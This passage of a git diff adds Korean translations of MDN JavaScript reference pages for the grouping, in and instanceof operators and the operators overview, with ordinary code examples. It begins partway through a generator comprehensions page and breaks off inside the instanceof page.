+<p>Generator comprehensions were initially in the ECMAScript 2015 draft, but got removed in revision 27 (August 2014). Please see older revisions of ES2015 for specification semantics.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.generator_comprehensions")}}</p>
+
+<h2 id="Differences_to_the_older_JS1.7JS1.8_comprehensions">Differences to the older JS1.7/JS1.8 comprehensions</h2>
+
+<div class="blockIndicator warning">JS1.7/JS1.8 comprehensions are removed from Gecko 46 ({{bug(1220564)}}).</div>
+
+<p><strong>Old comprehensions syntax (do not use anymore!):</strong></p>
+
+<pre class="brush: js example-bad">(X for (Y in Z))
+(X for each (Y in Z))
+(X for (Y of Z))
+</pre>
+
+<p>Differences:</p>
+
+<ul>
+ <li>ES7 comprehensions create one scope per "for" node instead of the comprehension as a whole.
+ <ul>
+ <li>Old: <code>[...(()=&gt;x for (x of [0, 1, 2]))][1]() // 2</code></li>
+ <li>New: <code>[...(for (x of [0, 1, 2]) ()=&gt;x)][1]() // 1, each iteration creates a fresh binding for x. </code></li>
+ </ul>
+ </li>
+ <li>ES7 comprehensions start with "for" instead of the assignment expression.
+ <ul>
+ <li>Old: <code>(i * 2 for (i of numbers))</code></li>
+ <li>New: <code>(for (i of numbers) i * 2)</code></li>
+ </ul>
+ </li>
+ <li>ES7 comprehensions can have multiple <code>if</code> and <code>for</code> components.</li>
+ <li>ES7 comprehensions only work with <code>{{JSxRef("Statements/for...of", "for...of")}}</code> and not with <code>{{JSxRef("Statements/for...in", "for...in")}}</code> iterations.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{JSxRef("Statements/for...of", "for...of")}}</li>
+ <li>{{JSxRef("Operators/Array_comprehensions", "Array comprehensions")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/grouping/index.html b/files/ko/web/javascript/reference/operators/grouping/index.html
new file mode 100644
index 0000000000..a8823ff961
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/grouping/index.html
@@ -0,0 +1,92 @@
+---
+title: 그룹 연산자
+slug: Web/JavaScript/Reference/Operators/Grouping
+tags:
+ - JavaScript
+ - Operator
+ - Primary Expressions
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/Grouping
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>그룹 연산자 <code>()</code></strong>는 표현식 내에서 평가의 우선순위를 제어합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"> ( )</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>그룹 연산자는 표현식이나 중첩 표현식 주위를 감싸는 한 쌍의 괄호로 이루어진 연산자로, 감싸인 식이 더 높은 우선순위를 갖도록 일반적인 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">연산자 우선순위</a>를 재정의합니다. 이름 그대로, 그룹 연산자는 괄호 안의 내용을 묶습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서는 곱셈과 나눗셈 이후 덧셈과 뺄셈을 사용하는 일반적인 연산 순서를 그룹 연산자를 사용해 바꿉니다.</p>
+
+<pre class="brush:js">var a = 1;
+var b = 2;
+var c = 3;
+
+// 기본 우선순위
+a + b * c // 7
+// 이것과 같음
+a + (b * c) // 7
+
+// 더하기를 곱하기보다 먼저 하도록
+// 우선순위 변경
+(a + b) * c // 9
+
+// 이것과 같음
+a * c + b * c // 9
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.6', 'The Grouping Operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.1.4', 'The Grouping Operator')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.grouping")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">연산자 우선순위</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/in/index.html b/files/ko/web/javascript/reference/operators/in/index.html
new file mode 100644
index 0000000000..dea26b496d
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/in/index.html
@@ -0,0 +1,188 @@
+---
+title: in 연산자
+slug: Web/JavaScript/Reference/Operators/in
+tags:
+ - JavaScript
+ - Operator
+ - Relational Operators
+ - 관계형 연산자
+ - 연산자
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Operators/in
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p> <strong><code>in</code> 연산자</strong>는 명시된 속성이 명시된 객체에 존재하면 <code>true</code>를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>속성</em> in <em>객체명</em></pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code>속성</code></dt>
+ <dd>속성의 이름이나 배열의 인덱스를 뜻하는 문자열 또는 수 값입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>객체명</code></dt>
+ <dd>객체의 이름입니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p> 다음 예제들은 <code>in</code> 연산자의 용도를 보여 줍니다.</p>
+
+<pre class="brush:js">// 배열
+var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+0 in trees // true를 반환합니다.
+3 in trees // true를 반환합니다.
+(1 + 2) in trees // true를 반환합니다. 연산자 우선 순위에 의하여 이 구문의 괄호는 없어도 됩니다.
+6 in trees // false를 반환합니다.
+"bay" in trees // false를 반환합니다. 당신은 배열의 내용이 아닌, 인덱스 값을 명시하여야 합니다.
+"length" in trees // true를 반환합니다. length는 Array(배열) 객체의 속성입니다.
+
+// 미리 정의된 객체
+"PI" in Math // true를 반환합니다.
+"P" + "I" in Math // true를 반환합니다.
+
+// 사용자가 정의한 객체
+var myCar = {company: "Lamborghini", model: "Lamborghini Veneno Roadster", year: 2014};
+"company" in myCar // true를 반환합니다.
+"model" in myCar // true를 반환합니다.
+</pre>
+
+<p> 당신은 반드시 <code>in</code> 연산자의 오른쪽에 객체를 명시하여야 합니다. 예컨대 당신은 <code>String</code> 생성자로 만들어진 문자열을 명시할 수 있지만 문자열 리터럴은 명시할 수 없습니다.</p>
+
+<pre class="brush:js">var color1 = new String("green");
+"length" in color1 // true를 반환합니다.
+
+var color2 = "coral";
+"length" in color2 // color2는 String 객체가 아니기에 오류를 냅니다.
+</pre>
+
+<h3 id="제거되었거나_정의되지_않은_속성에_대하여_in_연산자_사용하기">제거되었거나 정의되지 않은 속성에 대하여 <code>in</code> 연산자 사용하기</h3>
+
+<p> <code>in</code> 연산자는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code> 연산자로 제거된 속성에 대하여 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush:js">var myCar = {company: "Lamborghini", model: "Lamborghini Veneno Roadster", year: 2014};
+delete myCar.company;
+"company" in myCar; // false를 반환합니다.
+
+var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+delete trees[3];
+3 in trees; // false를 반환합니다.
+</pre>
+
+<p> 만약 당신이 속성을 {{jsxref("Global_Objects/undefined", "undefined")}}로 설정하였는데 그것을 제거하지 않으면, <code>in</code> 연산자는 그 속성에 대하여 <code>true</code>를 반환합니다.</p>
+
+<pre class="brush:js">var myCar = {company: "Lamborghini", model: "Lamborghini Veneno Roadster", year: 2014};
+myCar.company = undefined;
+"company" in myCar; // true를 반환합니다.
+</pre>
+
+<pre class="brush:js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+trees[3] = undefined;
+3 in trees; // true를 반환합니다.
+</pre>
+
+<h3 id="상속된_속성">상속된 속성</h3>
+
+<p> <code>in</code> 연산자는 프로토타입 체인에 의하여 접근할 수 있는 속성에 대하여 <code>true</code>를 반환합니다.</p>
+
+<pre class="brush:js">"toString" in {}; // true를 반환합니다.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.8.7', 'The in Operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-11.8.7', 'The in Operator')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기의 정의가 담겨 있습니다. JavaScript 1.4에 추가되었습니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>지원</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>지원</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code></li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Reflect.has()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties" title="/en-US/docs/Enumerability_and_ownership_of_properties">속성의, 소유와 셀 수 있는 성질</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/index.html b/files/ko/web/javascript/reference/operators/index.html
new file mode 100644
index 0000000000..9605b84278
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/index.html
@@ -0,0 +1,304 @@
+---
+title: 식 및 연산자
+slug: Web/JavaScript/Reference/Operators
+tags:
+ - JavaScript
+ - Operators
+ - Overview
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>이 장은 JavaScript의 모든 연산자<sup>operator</sup>, 식<sup>expression</sup> 및 키워드를 나열합니다.</p>
+
+<h2 id="항목별_식_및_연산자">항목별 식 및 연산자</h2>
+
+<p>알파벳순 목록은 왼쪽 사이드바를 보세요.</p>
+
+<h3 id="기본_식">기본 식</h3>
+
+<p>기본 키워드 및 JavaScript의 일반 식.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/this", "this")}}</dt>
+ <dd><code>this</code> 키워드는 실행 문맥의 특별한 속성을 가리킵니다.</dd>
+ <dt>{{JSxRef("Operators/function", "function")}}</dt>
+ <dd><code>function</code> 키워드는 함수를 정의합니다.</dd>
+ <dt>{{JSxRef("Operators/class", "class")}}</dt>
+ <dd><code>class</code> 키워드는 클래스를 정의합니다.</dd>
+ <dt>{{JSxRef("Operators/function*", "function*")}}</dt>
+ <dd><code>function*</code> 키워드는 생성기<sup>generator</sup> 함수 식을 정의합니다.</dd>
+ <dt>{{JSxRef("Operators/yield", "yield")}}</dt>
+ <dd>생성기 함수를 일시정지 및 재개합니다.</dd>
+ <dt>{{JSxRef("Operators/yield*", "yield*")}}</dt>
+ <dd>다른 생성기 함수 또는 순회가능 객체로 위임합니다.</dd>
+ <dt>{{JSxRef("Operators/async_function", "async function")}}</dt>
+ <dd><code>async function</code>은 비동기 함수 표현식을 정의합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Operators/await", "await")}}</dt>
+ <dd>비동기 함수를 일시 중지했다가 다시 시작하고 promise의 resolution/rejection을 ​​기다립니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Global_Objects/Array", "[]")}}</dt>
+ <dd>배열 초기자 및 리터럴 구문.</dd>
+ <dt>{{JSxRef("Operators/Object_initializer", "{}")}}</dt>
+ <dd>객체 초기자 및 리터럴 구문.</dd>
+ <dt>{{JSxRef("Global_Objects/RegExp", "/ab+c/i")}}</dt>
+ <dd>정규식 리터럴 구문.</dd>
+ <dt>{{JSxRef("Operators/Grouping", "( )")}}</dt>
+ <dd>그룹 연산자.</dd>
+</dl>
+
+<h3 id="좌변_식">좌변 식</h3>
+
+<p>좌변값은 할당 대상입니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Property_accessors", "Property accessors", "", 1)}}</dt>
+ <dd>속성 접근자는 객체의 속성 또는 메서드에 대한 접근 방법을 제공합니다.<br>
+ (<code>object.property</code>, <code>object["property"]</code>)</dd>
+ <dt>{{JSxRef("Operators/new", "new")}}</dt>
+ <dd><code>new</code> 연산자는 생성자의 인스턴스를 만듭니다.</dd>
+ <dt>{{JSxRef("Operators/new%2Etarget", "new.target")}}</dt>
+ <dd>생성자 문맥에서, <code>new.target</code>은 {{jsxref("Operators/new", "new")}}에 의해 호출된 생성자를 말합니다.</dd>
+ <dt>{{JSxRef("Operators/super", "super")}}</dt>
+ <dd><code>super</code> 키워드는 부모 생성자를 호출합니다.</dd>
+ <dt>{{JSxRef("Operators/Spread_syntax", "...obj")}}</dt>
+ <dd>전개 연산자는 (함수 호출 시) 매개변수 여럿이나, (배열 리터럴에서) 다수의 요소를 필요로 하는 곳에서 표현식을 확장합니다.</dd>
+</dl>
+
+<h3 id="증가_및_감소">증가 및 감소</h3>
+
+<p>접두/접미 증감 연산자입니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Increment", "A++")}}</dt>
+ <dd>접미 증가 연산자.</dd>
+ <dt>{{JSxRef("Operators/Decrement", "A--")}}</dt>
+ <dd>접미 감소 연산자.</dd>
+ <dt>{{JSxRef("Operators/Increment", "++A")}}</dt>
+ <dd>접두 증가 연산자.</dd>
+ <dt>{{JSxRef("Operators/Decrement", "--A")}}</dt>
+ <dd>접두 감소 연산자.</dd>
+</dl>
+
+<h3 id="단항_연산자">단항 연산자</h3>
+
+<p>단항 연산은 피연산자가 하나뿐인 연산입니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/delete", "delete")}}</dt>
+ <dd><code>delete</code> 연산자는 객체에서 속성을 지웁니다.</dd>
+ <dt>{{JSxRef("Operators/void", "void")}}</dt>
+ <dd><code>void</code> 연산자는 식의 반환값을 버립니다.</dd>
+ <dt>{{JSxRef("Operators/typeof", "typeof")}}</dt>
+ <dd><code>typeof</code> 연산자는 주어진 객체의 형을 판별합니다.</dd>
+ <dt>{{JSxRef("Operators/Unary_plus", "+")}}</dt>
+ <dd>단항 더하기 연산자는 피연산자를 숫자로 변환합니다.</dd>
+ <dt>{{JSxRef("Operators/Unary_negation", "-")}}</dt>
+ <dd>단항 부정 연산자는 피연산자를 숫자로 변환한 뒤 부호를 바꿉니다.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_NOT", "~")}}</dt>
+ <dd>비트 NOT 연산자.</dd>
+ <dt>{{JSxRef("Operators/Logical_NOT", "!")}}</dt>
+ <dd>논리 NOT 연산자.</dd>
+</dl>
+
+<h3 id="산술_연산자">산술 연산자</h3>
+
+<p>산술 연산자는 피연산자로 숫자 값(리터럴이나 변수)을 취하고 숫자 값 하나를 반환합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Addition", "+")}}</dt>
+ <dd>덧셈 연산자.</dd>
+ <dt>{{JSxRef("Operators/Subtraction", "-")}}</dt>
+ <dd>뺄셈 연산자.</dd>
+ <dt>{{JSxRef("Operators/Division", "/")}}</dt>
+ <dd>나눗셈 연산자.</dd>
+ <dt>{{JSxRef("Operators/Multiplication", "*")}}</dt>
+ <dd>곱셈 연산자.</dd>
+ <dt>{{JSxRef("Operators/Remainder", "%")}}</dt>
+ <dd>나머지 연산자.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Operators/Exponentiation", "**")}}</dt>
+ <dd>지수 연산자.</dd>
+</dl>
+
+<h3 id="관계_연산자">관계 연산자</h3>
+
+<p>비교 연산자는 피연산자를 비교하고, 비교가 참인지 여부를 나타내는 {{jsxref("Boolean")}} 값을 반환합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/in", "in")}}</dt>
+ <dd><code>in</code> 연산자는 객체에 주어진 속성이 있는지를 결정합니다.</dd>
+ <dt>{{JSxRef("Operators/instanceof", "instanceof")}}</dt>
+ <dd><code>instanceof</code> 연산자는 객체가 다른 객체의 인스턴스인지 판별합니다.</dd>
+ <dt>{{JSxRef("Operators/Less_than", "&lt;")}}</dt>
+ <dd>작음 연산자.</dd>
+ <dt>{{JSxRef("Operators/Greater_than", "&gt;")}}</dt>
+ <dd>큼 연산자.</dd>
+ <dt>{{JSxRef("Operators/Less_than_or_equal", "&lt;=")}}</dt>
+ <dd>작거나 같음 연산자.</dd>
+ <dt>{{JSxRef("Operators/Greater_than_or_equal", "&gt;=")}}</dt>
+ <dd>크거나 같음 연산자.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고: =&gt;</strong> 는 연산자가 아니고, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표 함수</a>의 표기법입니다.</p>
+</div>
+
+<h3 id="같음_연산자">같음 연산자</h3>
+
+<p>같음 연산자의 평가 결과는 항상 {{jsxref("Boolean")}} 형으로 비교가 참인지 나타냅니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Equality", "==")}}</dt>
+ <dd>동등 연산자.</dd>
+ <dt>{{JSxRef("Operators/Inequality", "!=")}}</dt>
+ <dd>부등 연산자.</dd>
+ <dt>{{JSxRef("Operators/Strict_equality", "===")}}</dt>
+ <dd>일치<sup>identity</sup> 연산자.</dd>
+ <dt>{{JSxRef("Operators/Strict_inequality", "!==")}}</dt>
+ <dd>불일치 연산자.</dd>
+</dl>
+
+<h3 id="비트_시프트_연산자">비트 시프트 연산자</h3>
+
+<p>피연산자의 모든 비트를 이동<sup>shift</sup>하는 연산.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Left_shift", "&lt;&lt;")}}</dt>
+ <dd>비트 좌로 시프트 연산자.</dd>
+ <dt>{{JSxRef("Operators/Right_shift", "&gt;&gt;")}}</dt>
+ <dd>비트 우로 시프트 연산자.</dd>
+ <dt>{{JSxRef("Operators/Unsigned_right_shift", "&gt;&gt;&gt;")}}</dt>
+ <dd>비트 부호 없는 우로 시프트 연산자.</dd>
+</dl>
+
+<h3 id="이진_비트_연산자">이진 비트 연산자</h3>
+
+<p>비트 연산자는 피연산자를 32비트 집합(0과 1)으로 다루고 표준 JavaScript 숫자 값을 반환합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Bitwise_AND", "&amp;")}}</dt>
+ <dd>비트 AND.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_OR", "|")}}</dt>
+ <dd>비트 OR.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_XOR", "^")}}</dt>
+ <dd>비트 XOR.</dd>
+</dl>
+
+<h3 id="이진_논리_연산자">이진 논리 연산자</h3>
+
+<p>논리 연산자는 보통 사용될 때 불리언(논리) 값으로 사용되고, 불리언 값을 반환합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Logical_AND", "&amp;&amp;")}}</dt>
+ <dd>논리 AND.</dd>
+ <dt>{{JSxRef("Operators/Logical_OR", "||")}}</dt>
+ <dd>논리 OR.</dd>
+ <dt>{{JSxRef("Operators/Nullish_coalescing_operator", "??")}}</dt>
+ <dd>Nullish 통합 연산자.</dd>
+</dl>
+
+<h3 id="조건부삼항_연산자">조건부(삼항) 연산자</h3>
+
+<dl>
+ <dt>{{JSxRef("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt>
+</dl>
+
+<p>조건부 연산자는 조건의 논리값에 따라 두 값 중 하나를 반환합니다.</p>
+
+<h3 id="선택적_연결_연산자">선택적 연결 연산자</h3>
+
+<dl>
+ <dt>{{JSxRef("Operators/Optional_chaining", "?.")}}</dt>
+ <dd>
+ <p>선택적 연결 연산자는 참조가 <a href="https://developer.mozilla.org/en-US/docs/Glossary/nullish">nullish</a> (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a> 또는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>) 인 경우 오류를 발생시키는 대신 <code>undefined</code>를 반환합니다.</p>
+ </dd>
+</dl>
+
+<h3 id="할당_연산자">할당 연산자</h3>
+
+<p>할당 연산자는 값을 그 우변 피연산자의 값에 따라 좌변 피연산자에 할당합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Assignment", "=")}}</dt>
+ <dd>할당 연산자.</dd>
+ <dt>{{JSxRef("Operators/Multiplication_assignment", "*=")}}</dt>
+ <dd>곱셈 할당.</dd>
+ <dt>{{JSxRef("Operators/Exponentiation_assignment", "**=")}}</dt>
+ <dd>Exponentiation assignment.</dd>
+ <dt>{{JSxRef("Operators/Division_assignment", "/=")}}</dt>
+ <dd>나눗셈 할당.</dd>
+ <dt>{{JSxRef("Operators/Remainder_assignment", "%=")}}</dt>
+ <dd>나머지 할당.</dd>
+ <dt>{{JSxRef("Operators/Addition_assignment", "+=")}}</dt>
+ <dd>덧셈 할당.</dd>
+ <dt>{{JSxRef("Operators/Subtraction_assignment", "-=")}}</dt>
+ <dd>뺄셈 할당</dd>
+ <dt>{{JSxRef("Operators/Left_shift_assignment", "&lt;&lt;=")}}</dt>
+ <dd>좌로 이동 할당.</dd>
+ <dt>{{JSxRef("Operators/Right_shift_assignment", "&gt;&gt;=")}}</dt>
+ <dd>우로 이동 할당.</dd>
+ <dt>{{JSxRef("Operators/Unsigned_right_shift_assignment", "&gt;&gt;&gt;=")}}</dt>
+ <dd>부호 없는 우로 이동 할당.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_AND_assignment", "&amp;=")}}</dt>
+ <dd>비트 AND 할당.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_XOR_assignment", "^=")}}</dt>
+ <dd>비트 XOR 할당.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_OR_assignment", "|=")}}</dt>
+ <dd>비트 OR 할당.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Operators/Logical_AND_assignment", "&amp;&amp;=")}}</dt>
+ <dd>논리적 AND 할당.</dd>
+ <dt>{{JSxRef("Operators/Logical_OR_assignment", "||=")}}</dt>
+ <dd>논리적 OR 할당.</dd>
+ <dt>{{JSxRef("Operators/Logical_nullish_assignment", "??=")}}</dt>
+ <dd>논리적 nullish 할당.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
+ {{JSxRef("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt>
+ <dd>
+ <p>구조 분해 할당은 배열 또는 객체의 속성을 배열 또는 객체 리터럴과 비슷해 보이는 구문을 사용하여 변수에 할당할 수 있게 합니다.</p>
+ </dd>
+</dl>
+
+<h3 id="쉼표_연산자">쉼표 연산자</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt>
+ <dd>쉼표 연산자는 여러 식을 단문으로 평가되게 하고 마지막 식의 결과를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/연산자_우선순위">연산자 우선순위</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/instanceof/index.html b/files/ko/web/javascript/reference/operators/instanceof/index.html
new file mode 100644
index 0000000000..0ac15b7ffe
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/instanceof/index.html
@@ -0,0 +1,161 @@
+---
+title: instanceof
+slug: Web/JavaScript/Reference/Operators/instanceof
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+ - Relational Operators
+translation_of: Web/JavaScript/Reference/Operators/instanceof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>instanceof</code> 연산자</strong>는 생성자의 <code>prototype</code> 속성이 객체의 프로토타입 체인 어딘가 존재하는지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>object</em> instanceof <em>constructor</em></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>판별할 객체.</dd>
+ <dt><code>constructor</code></dt>
+ <dd>판별 목표 함수.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>instanceof</code> 연산자는 <code>object</code>의 프로토타입 체인에 <code>constructor.prototype</code>이 존재하는지 판별합니다.</p>
+
+<pre class="brush: js">// 생성자 정의
+function C(){}
+function D(){}
+
+var o = new C();
+
+// true, 왜냐하면 Object.getPrototypeOf(o) === C.prototype
+o instanceof C;
+
+// false, 왜냐하면 D.prototype이 o 객체의 프로토타입 체인에 없음
+o instanceof D;
+
+o instanceof Object; // true, 왜냐하면
+C.prototype instanceof Object // true
+
+C.prototype = {};
+var o2 = new C();
+
+o2 instanceof C; // true
+
+// false, 왜냐하면 C.prototype이
+// 더 이상 o의 프로토타입 체인에 없음
+o instanceof C;
+
+D.prototype = new C(); // C를 D의 [[Prototype]] 링크로 추가
+var o3 = new D();
+o3 instanceof D; // true
+o3 instanceof C; // true, 왜냐하면 이제 C.prototype이 o3의 프로토타입 체인에 존재
+</pre>
+
+<p><code>instanceof</code> 의 값은 생성자 <code>prototype</code> 프로퍼티의 변화에 따라 바뀔수 있으며, <code>Object.setPrototypeOf</code>의 사용함에 따라서도 바뀔 수 있음에 주의하세요. 또한 non-standard의 <code>__proto__ </code>슈도-프로퍼티도 사용할 수 있도록 만들어 줍니다.</p>
+
+<h3 id="instanceof_와_multiple_context_(예._프레임_또는_창)"><code>instanceof</code> 와 multiple context (예. 프레임 또는 창)</h3>
+
+<p>다른 스코프는 다른 실행 환경을 가집니다. 이것은 다른 스코프는 다른 고정된 요소들(다른 전역 오브젝트, 다른 생성자들 등)을 가지고 있음을 의미합니다. 이 사실은 예상치 못한 결과를 가져올 수도 있습니다. 예를 들면, []  <code>instanceof window.frames[0].Array</code>는 <code>false</code>를 리턴할 것입니다. 왜냐하면, <code>Array.prototype !== </code><code>window.frames[0].Array</code> 이며, arrays 는 상위로부터 상속받기 때문입니다. 이것은 처음에는 말이 되지 않을 수도 있습니다. 하지만, 스크립트에서 여러 프레임이나 창을 다루며, 객체를 함수를 통하여 하나의 컨텍스트에서 다른 컨텍스트로 오브젝트를 넘기게 된다면,  이건 충분히 일어날 수 있는 일이며, 아주 큰 이슈가 될 것입니다. 예를 들어, 주어진 오브젝트가 실제로 <code>Array.isArray(myObj)</code>를 사용한 Array인지 안전하게 확인 할 수 있습니다. </p>
+
+<div class="note"><strong>Mozilla 개발자들을 위한 메모:</strong><br>
